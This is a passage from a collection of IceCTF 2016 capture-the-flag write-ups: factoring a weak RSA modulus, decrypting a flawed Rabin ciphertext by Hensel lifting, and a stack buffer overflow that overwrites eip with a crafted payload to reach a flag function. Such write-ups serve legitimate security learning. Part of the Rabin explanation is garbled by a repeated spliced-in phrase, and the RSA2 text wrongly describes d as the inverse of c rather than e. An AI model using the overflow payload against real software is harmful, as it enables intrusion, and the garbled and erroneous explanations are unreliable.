tool is nice, it isn't nice enough to give us our string directly but 46 | the hex is all we need. Simply copy and paste it into an [online hex-to-ascii conversion tool](http://www.rapidtables.com/convert/number/hex-to-ascii.htm "Online Hex to ASCII") 47 | and claim your prize! 48 | 49 | flag is: `IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}` 50 | -------------------------------------------------------------------------------- /icectf-2016/RSA2/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 RSA 2 2 | ## Solution By: Nullp0inter 3 | 4 | # RSA2 Cryptography 90 pts 5 | 6 | I guess the 3rd time is the charm? Or not... flag.txt 7 | 8 | # Solution: 9 | 10 | For this challenge we were given a text file that contained the following: 11 | 12 | ``` 13 | N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f 14 | e=0x10001 15 | c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301 16 | ``` 17 | 18 | So we have three variable `N`, `e`, and `c`, but what do we do with them. Well in RSA `N` is what is known as your "public modulus" and is obtained by multiplying your two primes `p` and `q`, `c` is what is 19 | known as our cipher text which was obtained by using the RSA algorithm on our plaintext message. If you want to learn more about the specifics of RSA you can chekc them out on [wikipedia](https://en.wikipedia.org/wiki/RSA_(cryptosystem) "RSA"). 20 | The important thing to know is that to decrypt the message we have to obtain `d` and for that we need to know `p` and `q` which means getting the prime factorization of `N`. There are a few utilities that 21 | do this for us, thankfully: you can use the online tool at [factordb](www.factordb.com "factor db") OR you can use [YAFU](https://sourceforge.net/projects/yafu/ "Yet Another Factoring Utility") which is what 22 | I did and recommend. Using yafu we can factor our N into p and q like so: 23 | 24 | ```python 25 | ing GMP-ECM 6.4.4, Powered by GMP 5.1.1 26 | detected Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz 27 | detected L1 = 32768 bytes, L2 = 134217728 bytes, CL = 64 bytes 28 | measured cpu frequency ~= 2194.754630 29 | using 20 random witnesses for Rabin-Miller PRP checks 30 | 31 | =============================================================== 32 | ======= Welcome to YAFU (Yet Another Factoring Utility) ======= 33 | ======= bbuhrow@gmail.com ======= 34 | ======= Type help at any time, or quit to quit ======= 35 | =============================================================== 36 | cached 78498 primes. pmax = 999983 37 | 38 | 39 | >> N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f 40 | 41 | invalid destination N 42 | 43 | ans = 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511 44 | 45 | >> factor(30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511) 46 | 47 | fac: factoring 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511 48 | fac: using pretesting plan: normal 49 | fac: no tune info: using qs/gnfs crossover of 95 digits 50 | div: primes less than 10000 51 | fmt: 1000000 iterations 52 | rho: x^2 + 3, starting 1000 iterations on C617 53 | rho: x^2 + 2, starting 1000 iterations on C617 54 | Total factoring time = 0.3202 seconds 55 | 56 | 57 | ***factors found*** 58 | 59 | P8 = 57970027 60 | PRP609 = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093 61 | 62 | ans = 1 63 | ``` 64 | 65 | so we have our p and q and now we just need to compute d. To do so we need to compute `phi` where phi = (p-1)(q-1), so using python: 66 | 67 | ```python 68 | p = 57970027 69 | q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093 70 | p_1 = p - 1 71 | q_1 = q - 1 72 | phi = p_1 * q_1 73 | ``` 74 | 75 | In order to find d we need to calculate the modular inverse of c and phi. We can do this in python with a little bit of code found on [stackoverflow](http://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-pyt "Modular Multiplicative Inverse in Python"). 76 | Putting it into the script we get the following which spits out d: 77 | 78 | ```python 79 | #!/usr/bin/python 80 | 81 | # egcd and modinv functions from: http://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python 82 | def egcd(a, b): 83 | if a == 0: 84 | return (b, 0, 1) 85 | else: 86 | g, y, x = egcd(b % a, a) 87 | return (g, x - (b // a) * y, y) 88 | 89 | def modinv(a, m): 90 | g, x, y = egcd(a, m) 91 | if g != 1: 92 | raise Exception('modular inverse does not exist') 93 | else: 94 | return x % m 95 | e = int(0x10001) 96 | p = 57970027 97 | q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093 98 | p_1 = p - 1 99 | q_1 = q - 1 100 | phi = p_1 * q_1 101 | d = modinv(e,phi) 102 | print hex(d) 103 | ``` 104 | 105 | From there you can either do the math in python or just provide your c and d values to the tool [here](http://nmichaels.org/rsa.py "Online RSA Tool") which gives back the flag in hex format 106 | which means all you need to do is convert hex to ascii which again is pretty easy and can be done online [here](http://www.rapidtables.com/convert/number/hex-to-ascii.htm "Online Hex to ASCII converter") if you are feeling lazy. 107 | 108 | For your effort you are rewarded with the flag: `IceCTF{next_time_check_your_keys_arent_factorable}` 109 | 110 | 111 | For convenience because either I am terrible at searching or no one has bothered to make one very easily visible, I have written a small python script that asks for e, p, and q then solves for your d and returns it in hex format. Feel free to use it. 112 | -------------------------------------------------------------------------------- /icectf-2016/RSA2/nptr_rsatool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | def egcd(a, b): 4 | if a == 0: 5 | return (b, 0, 1) 6 | else: 7 | g, y, x = egcd(b % a, a) 8 | return (g, x - (b // a) * y, y) 9 | 10 | def modinv(a, m): 11 | g, x, y = egcd(a, m) 12 | if g != 1: 13 | raise Exception('modular inverse does not exist') 14 | else: 15 | return x % m 16 | 17 | print('Give me your e value:') 18 | e = input() 19 | print('Input your p value:') 20 | p = input() 21 | print('Input your q value:') 22 | q = input() 23 | 24 | print('Solving for the d. Give me a sec, kay ;)') 25 | p -= 1 26 | q -= 1 27 | phi = p * q 28 | d = modinv(e,phi) 29 | print('Found your d, sweetheart:') 30 | print(hex(d)) 31 | -------------------------------------------------------------------------------- /icectf-2016/Round-Rabins/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | # Round Rabins! 3 | # Solved By: bt 4 | ###### Crypto Challenge -- 100 points 5 | 6 | ## Description 7 | "John gave up on RSA and moved to Rabin. ...he still did it wrong though [flag.txt](https://play.icec.tf/problem-static/flag_4541b3f5527778f80ae376bf7234dda6ea9a97b6103284a1f596bcec5e1c312c.txt). What a box!" 8 | 9 | 10 | ## Solution 11 | 12 | After downloading the provided text file, we open it up and see what we have: 13 | 14 | N=0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601 15 | c=0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b 16 | 17 | 18 | Hmm... looks like RSA, but without an exponent. The name of the challenge is Rabin, so we read [Wikipedia](https://en.wikipedia.org/wiki/Rabin_cryptosystem) to get the details of the cryptosystem to find out how encryption works. For a message ![](https://latex.codecogs.com/gif.latex?$m$), we get our ciphertext ![](https://latex.codecogs.com/gif.latex?$c %5Cequiv m^2 %5Cpmod{N}$). The goal is to find the square roots of ![](https://latex.codecogs.com/gif.latex?$c$) in ![](https://latex.codecogs.com/gif.latex?%24%5Csqrt%7Bc%7D%20%5Cpmod%7Bp%5E2%7D%24). 19 | 20 | We use [Yafu](https://sourceforge.net/projects/yafu/) to find factors of ![](https://latex.codecogs.com/gif.latex?$N$): 21 | 22 | ***factors found*** 23 | 24 | P154 = 8683574289808398551680690596312519188712344019929990563696863014403818356652403139359303583094623893591695801854572600022831462919735839793929311522108161 25 | P154 = 8683574289808398551680690596312519188712344019929990563696863014403818356652403139359303583094623893591695801854572600022831462919735839793929311522108161 26 | 27 | So ![](https://latex.codecogs.com/gif.latex?$N$) is a square of a prime ![](https://latex.codecogs.com/gif.latex?$p$). 28 | 29 | After reading about decrypting a Rabin cipher, it seems we need our primes ![](https://latex.codecogs.com/gif.latex?$N$) is a square of a prime ![](https://latex.codecogs.com/gif.latex?$p$) and ![](https://latex.codecogs.com/gif.latex?$N$) is a square of a prime ![](https://latex.codecogs.com/gif.latex?$q$) to be congruent to ![](https://latex.codecogs.com/gif.latex?$N$) is a square of a prime ![](https://latex.codecogs.com/gif.latex?$3%5Cpmod{4}$), but ![](https://latex.codecogs.com/gif.latex?$N$) is a square of a prime ![](https://latex.codecogs.com/gif.latex?$p %5Cequiv q %5Cnot%5Cequiv 3 %5Cpmod{4}$), so we can't use the decryption method found in the article easily. 30 | 31 | The problem boils down to finding ![](https://latex.codecogs.com/gif.latex?$%5Csqrt{c} %5Cpmod{p^2}$). 32 | After a few hours of Googling and researching, I came across [Hensel's Lemma](https://en.wikipedia.org/wiki/Hensel%27s_lemma). Hensel's Lemma says we can use the roots found from ![](https://latex.codecogs.com/gif.latex?$%5Csqrt{c} %5Cpmod{p}$) to "lift" to a higher power of ![](https://latex.codecogs.com/gif.latex?$p$), i.e., ![](https://latex.codecogs.com/gif.latex?$%5Csqrt{c} %5Cpmod{p^k}$) for any ![](https://latex.codecogs.com/gif.latex?$k %5Cgeq 2$). 33 | 34 | I found a [post](http://mathforum.org/library/drmath/view/70474.html) which has formulas for finding our roots. Basically we have two main steps: 35 | 36 | 1. Find the square roots modulo ![](https://latex.codecogs.com/gif.latex?$p$), i.e., ![](https://latex.codecogs.com/gif.latex?$m^2 %5Cpmod{p}$). This is pretty easy to find using a modular square root algorithm. 37 | 2. Find roots of increasing powers of ![](https://latex.codecogs.com/gif.latex?$p$) using the equation ![](https://latex.codecogs.com/gif.latex?r%20-%20%5Cfrac%7B%28r%5E2%20-%20p%5E2%29%7D%7B2r%7D%20%5Cpmod%7Bp%5E2%7D), where ![](https://latex.codecogs.com/gif.latex?$r$) is one of the roots found from step 1. (Do this step again for every root found in step 1). 38 | 39 | Since we're interested in the roots ![](https://latex.codecogs.com/gif.latex?$%5Cmod{p^2}$), we can stop here and look at the two new roots found in step 2. One of them is our flag, the other is extraneous. We write a script to do our computations: 40 | 41 | ~~~python 42 | #!/usr/bin/env python 43 | ''' 44 | Rabin cryptosystem challenge: 45 | N=0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601 46 | 47 | 48 | c=0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b 49 | ''' 50 | # some functions from http://codereview.stackexchange.com/questions/43210/tonelli-shanks-algorithm-implementation-of-prime-modular-square-root/43267 51 | def legendre_symbol(a, p): 52 | """ 53 | Legendre symbol 54 | Define if a is a quadratic residue modulo odd prime 55 | http://en.wikipedia.org/wiki/Legendre_symbol 56 | """ 57 | ls = pow(a, (p - 1)/2, p) 58 | if ls == p - 1: 59 | return -1 60 | return ls 61 | 62 | def prime_mod_sqrt(a, p): 63 | """ 64 | Square root modulo prime number 65 | Solve the equation 66 | x^2 = a mod p 67 | and return list of x solution 68 | http://en.wikipedia.org/wiki/Tonelli-Shanks_algorithm 69 | """ 70 | a %= p 71 | 72 | # Simple case 73 | if a == 0: 74 | return [0] 75 | if p == 2: 76 | return [a] 77 | 78 | # Check solution existence on odd prime 79 | if legendre_symbol(a, p) != 1: 80 | return [] 81 | 82 | # Simple case 83 | if p % 4 == 3: 84 | x = pow(a, (p + 1)/4, p) 85 | return [x, p-x] 86 | 87 | # Factor p-1 on the form q * 2^s (with Q odd) 88 | q, s = p - 1, 0 89 | while q % 2 == 0: 90 | s += 1 91 | q //= 2 92 | 93 | # Select a z which is a quadratic non resudue modulo p 94 | z = 1 95 | while legendre_symbol(z, p) != -1: 96 | z += 1 97 | c = pow(z, q, p) 98 | 99 | # Search for a solution 100 | x = pow(a, (q + 1)/2, p) 101 | t = pow(a, q, p) 102 | m = s 103 | while t != 1: 104 | # Find the lowest i such that t^(2^i) = 1 105 | i, e = 0, 2 106 | for i in xrange(1, m): 107 | if pow(t, e, p) == 1: 108 | break 109 | e *= 2 110 | 111 | # Update next value to iterate 112 | b = pow(c, 2**(m - i - 1), p) 113 | x = (x * b) % p 114 | t = (t * b * b) % p 115 | c = (b * b) % p 116 | m = i 117 | 118 | return [x, p-x] 119 | 120 | def egcd(a, b): 121 | if a == 0: 122 | return (b, 0, 1) 123 | else: 124 | g, y, x = egcd(b % a, a) 125 | return (g, x - (b // a) * y, y) 126 | 127 | def modinv(a, m): 128 | g, x, y = egcd(a, m) 129 | if g != 1: 130 | raise Exception('modular inverse does not exist') 131 | else: 132 | return x % m 133 | 134 | 135 | # This finds a solution for c = x^2 (mod p^2) 136 | def find_solution(c, p): 137 | ''' 138 | Hensel lifting is fairly simple. In one sense, the idea is to use 139 | Newton's method to get a better result. That is, if p is an odd 140 | prime, and 141 | 142 | r^2 = n (mod p), 143 | 144 | then you can find the root mod p^2 by changing your first 145 | "approximation" r to 146 | 147 | r - (r^2 - n)/(2r) (mod p^2). 148 | 149 | http://mathforum.org/library/drmath/view/70474.html 150 | ''' 151 | n = p ** 2 152 | # Get square roots for x^2 (mod p) 153 | r = prime_mod_sqrt(c,p)[0] 154 | 155 | inverse_2_mod_n = modinv(2, n) 156 | inverse_r_mod_n = modinv(r, n) 157 | 158 | new_r = r - inverse_2_mod_n * (r - c * inverse_r_mod_n) 159 | 160 | return new_r % n 161 | 162 | if __name__ == "__main__": 163 | # These are the given values 164 | n = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601L 165 | # n is a perfect square: n = p * p 166 | p = 0xa5cc6d4e9f6a893c148c6993e1956968c93d9609ed70d8366e3bdf300b78d712e79c5425ffd8d480afcefc71b50d85e0914609af240c981c438acd1dcb27b301L 167 | # encrypted message 168 | c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0bL 169 | 170 | solution = find_solution(c, p) 171 | print hex(solution)[2:-1].decode("hex") 172 | ~~~ 173 | 174 | Running this gives us our flag: `IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}` 175 | -------------------------------------------------------------------------------- /icectf-2016/Smashing-Profit/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | ## Solution By: Nullp0inter 3 | 4 | # Smashing Profit! Pwn 60pts 5 | 6 | Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers! 7 | /home/profit/ on the shell. 8 | 9 | # Solution: 10 | So this is one of a few challenges that used an ssh connection to a shell they provided. Unfortunately you can no longer 11 | get login information if you did not save your own (I had to get the info to do the writeup from a friend). They do not 12 | provide a download so you simply have to login via ssh as they tell you. Once you are in your shell instance, go ahead and 13 | `cd /home/profit` like the challenge tells you and you will see a few files like so: 14 | 15 | ```zsh 16 | [ctf-xxxx@icectf-shell-2016 ~]$ 17 | [ctf-xxxx@icectf-shell-2016 ~]$ cd /home/profit 18 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ ls -l 19 | total 16 20 | -r--r----- 1 root profit 30 Aug 12 08:54 flag.txt 21 | -rw-r--r-- 1 root root 101 Aug 12 08:54 Makefile 22 | -rwxr-sr-x 1 root profit 5708 Aug 12 08:54 profit 23 | 24 | ``` 25 | 26 | So what should jump out right away are `flag.txt` and `Makefile`. Obviously flag.txt is both read and write protected, so we 27 | can't really do anything to it since we aren't root or user `profit`. So lets put `flag.txt` aside and look at the make file: 28 | 29 | ```zsh 30 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ cat Makefile 31 | CC=gcc 32 | CFLAGS=-m32 -fno-stack-protector 33 | 34 | all: 35 | $(CC) $(CFLAGS) source.c -o profit 36 | 37 | clean: 38 | rm profit 39 | ``` 40 | 41 | Nice compiled 32-bit with no stack protection enabled (i.e. no canary). This is good, because it means we can easily do buffer overflow 42 | exploits. Now if you have ever heard or/read aleph1's "Smashing the Stack for Fun and Profit" from a 1996 release of Phrack Magazine, 43 | you are probably already well aware the exploit we are about to do is a buffer overflow. 44 | 45 | In any case, we now know what the exploit type is but now we need to figure out two things: how big our buffer is, and also where we need 46 | to jump to. We can easily find out how big our buffer is using `python` and `gdb` but finding where we need to jump is probably easier or 47 | more apparent if we use `objdump`. Let's first figure out where we want to jump: 48 | 49 | ```zsh 50 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ objdump -D profit | grep flag 51 | 0804850b : 52 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ 53 | ``` 54 | 55 | So there is a function called "flag" at 0x0804850b, there is a pretty decent chance it is what we need to jump to but we can confirm this 56 | in `gdb` so lets fire that up: 57 | 58 | ```zsh 59 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ gdb -q profit 60 | Reading symbols from profit...(no debugging symbols found)...done. 61 | gdb-peda$ b main 62 | Breakpoint 1 at 0x804859b 63 | gdb-peda$ r 64 | [----------------------------------registers-----------------------------------] 65 | EAX: 0x1 66 | EBX: 0xf76f2000 --> 0x1a8da8 67 | ECX: 0xffef4280 --> 0x1 68 | EDX: 0xffef42a4 --> 0xf76f2000 --> 0x1a8da8 69 | ESI: 0x0 70 | EDI: 0x0 71 | EBP: 0xffef4268 --> 0x0 72 | ESP: 0xffef4264 --> 0xffef4280 --> 0x1 73 | EIP: 0x804859b (: sub esp,0x4) 74 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 75 | [-------------------------------------code-------------------------------------] 76 | 0x8048597 : push ebp 77 | 0x8048598 : mov ebp,esp 78 | 0x804859a : push ecx 79 | => 0x804859b : sub esp,0x4 80 | 0x804859e : call 0x804855e 81 | 0x80485a3 : mov eax,0x0 82 | 0x80485a8 : add esp,0x4 83 | 0x80485ab : pop ecx 84 | [------------------------------------stack-------------------------------------] 85 | 0000| 0xffef4264 --> 0xffef4280 --> 0x1 86 | 0004| 0xffef4268 --> 0x0 87 | 0008| 0xffef426c --> 0xf7562a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 88 | 0012| 0xffef4270 --> 0x80485c0 (<__libc_csu_init>: push ebp) 89 | 0016| 0xffef4274 --> 0x0 90 | 0020| 0xffef4278 --> 0x0 91 | 0024| 0xffef427c --> 0xf7562a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 92 | 0028| 0xffef4280 --> 0x1 93 | [------------------------------------------------------------------------------] 94 | Legend: code, data, rodata, value 95 | 96 | Breakpoint 1, 0x0804859b in main () 97 | gdb-peda$ 98 | ``` 99 | 100 | Oh snap! They got peda installed! If you don't know what peda is don't worry about it for now, but I'd definitely [look into it](https://github.com/longld/peda "Peda Is a Fantastic Addition to gdb") 101 | In the meantime, we set a breakpoint at main (`b main`) so we can start to run the program until that point (`r`). The program prints out the 102 | registers, a bit of the code, and the stack (these are all due to peda) but we are interested in seeing what happens in that `flag` function. So 103 | lets have gdb disassemble it using `disass flag` (*NOTE:* peda users can do `pdisass` to get some highlighting over different parts such as 104 | function calls that may prove useful). The output of gdb's disassembly of the function `flag` is: 105 | 106 | ```gdb 107 | db-peda$ disass flag 108 | Dump of assembler code for function flag: 109 | 0x0804850b <+0>: push ebp 110 | 0x0804850c <+1>: mov ebp,esp 111 | 0x0804850e <+3>: sub esp,0x58 112 | 0x08048511 <+6>: sub esp,0x8 113 | 0x08048514 <+9>: push 0x0 114 | 0x08048516 <+11>: push 0x8048650 115 | 0x0804851b <+16>: call 0x80483e0 116 | 0x08048520 <+21>: add esp,0x10 117 | 0x08048523 <+24>: mov DWORD PTR [ebp-0xc],eax 118 | 0x08048526 <+27>: sub esp,0x4 119 | 0x08048529 <+30>: push 0x40 120 | 0x0804852b <+32>: lea eax,[ebp-0x4c] 121 | 0x0804852e <+35>: push eax 122 | 0x0804852f <+36>: push DWORD PTR [ebp-0xc] 123 | 0x08048532 <+39>: call 0x8048390 124 | 0x08048537 <+44>: add esp,0x10 125 | 0x0804853a <+47>: sub esp,0x8 126 | 0x0804853d <+50>: lea eax,[ebp-0x4c] 127 | 0x08048540 <+53>: push eax 128 | 0x08048541 <+54>: push 0x804865b 129 | 0x08048546 <+59>: call 0x80483a0 130 | 0x0804854b <+64>: add esp,0x10 131 | 0x0804854e <+67>: sub esp,0xc 132 | 0x08048551 <+70>: push DWORD PTR [ebp-0xc] 133 | 0x08048554 <+73>: call 0x8048400 134 | 0x08048559 <+78>: add esp,0x10 135 | 0x0804855c <+81>: leave 136 | 0x0804855d <+82>: ret 137 | End of assembler dump. 138 | gdb-peda$ x/s 0x08048650 139 | 0x8048650: "./flag.txt" 140 | gdb-peda$ 141 | ``` 142 | 143 | If you read carefully you'll see I also ran `x/s 0x08048650`, I did this because there is a call to `open` which needs a filepath to work 144 | (see `man 2 open` from a shell) and that as a parameter it would be pushed almost immediately prior to the function call. The command `x/s` 145 | is used to e**x**amine, as a **s**tring, the memory at location `0x08048650` which is what is pushed just before the call to `open`. So based 146 | on knowing that this function opens `flag.txt` and also has calls to `read` and `printf` we can be confidently sure that it is where we need 147 | to jump to. 148 | 149 | That leads us back to the other thing we need to know, the size of our buffer. For this I am going to exit `gdb` for a moment and use `python`. 150 | 151 | ```zsh 152 | gdb-peda$ q 153 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 64" | ./profit 154 | Smashing the stack for fun and...? 155 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 128" | ./profit 156 | Smashing the stack for fun and...? 157 | [1] 12416 done python -c "print 'A' * 128" | 158 | 12417 segmentation fault ./profit 159 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 128" | ./profit 160 | Smashing the stack for fun and...? 161 | [1] 12416 done python -c "print 'A' * 128" | 162 | 12417 segmentation fault ./profit 163 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 120" | ./profit 164 | Smashing the stack for fun and...? 165 | [1] 12570 done python -c "print 'A' * 120" | 166 | 12571 segmentation fault ./profit 167 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 90" | ./profit 168 | Smashing the stack for fun and...? 169 | [1] 12687 done python -c "print 'A' * 90" | 170 | 12688 segmentation fault ./profit 171 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 70" | ./profit 172 | Smashing the stack for fun and...? 173 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 80" | ./profit 174 | Smashing the stack for fun and...? 175 | [1] 12954 done python -c "print 'A' * 80" | 176 | 12955 segmentation fault ./profit 177 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 75" | ./profit 178 | Smashing the stack for fun and...? 179 | [1] 13079 done python -c "print 'A' * 75" | 180 | 13080 segmentation fault ./profit 181 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 74" | ./profit 182 | Smashing the stack for fun and...? 183 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ 184 | 185 | ``` 186 | 187 | So what I did there was I used python to print out 64 A's in an attempt to figure out the buffer size. What I am looking for are `segmentation 188 | faults`, as seen after I tried 128 A's. I then proceeded to alter that number in a sort of binary-search like manner until I determined that 189 | the program will `segfault` at 75 A's but *not* at 74. This is good. We can be fairly certain that at 75 A's printed, we start to overwrite 190 | *something* important in the program. Our goal, however, is to overwrite the programs `eip` or "Instruction Pointer" which in basic terms 191 | simply points to the next location to exectute code once you hit a return (for our purposes here this definition is *"good enough"*). 192 | Something to note is that we generally work in multiples of 4 bytes though so we want to go up to 76 bytes (*Note* I kind of glossed over this 193 | but each ascii character is a single byte in memory though that may vary between architectures). 194 | You can take my word for this OR you use gdb and just keep copying and pasting patters until you recognize where you overwrite the 4 bytes of 195 | `eip`. Once you recognize the pattern you start to consistently overwrite `eip` at you know your *distance to eip* which is the number of 196 | bytes you have to write beforehand. In this case as I said it is 76 bytes so 76 of *any* ascii character will work. Let's just keep using A's, 197 | so we need 76 A's then the address of `flag`. At this point you need to know just a little bit about something called endianness 198 | (*NOTE* see "On Endianness" below) and that the address goes in little endian. So we can now craft our little exploit string using the format 199 | of `<76 characters>`. Remember from our earlier disassembly of flag that it starts at address 0x0804850b so 200 | if we put everything together in a python string and pipe it to the program we get the following: 201 | 202 | ```zsh 203 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A'*76+'\x0b\x85\x04\x08'" | ./profit 204 | Smashing the stack for fun and...? 205 | IceCTF{who_would_have_thunk?} 206 | [1] 31285 done python -c "print 'A'*76+'\x0b\x85\x04\x08'" | 207 | 31286 segmentation fault ./profit 208 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ 209 | ``` 210 | 211 | There it is! The flag is `IceCTF{who_would_have_thunk?}`. 212 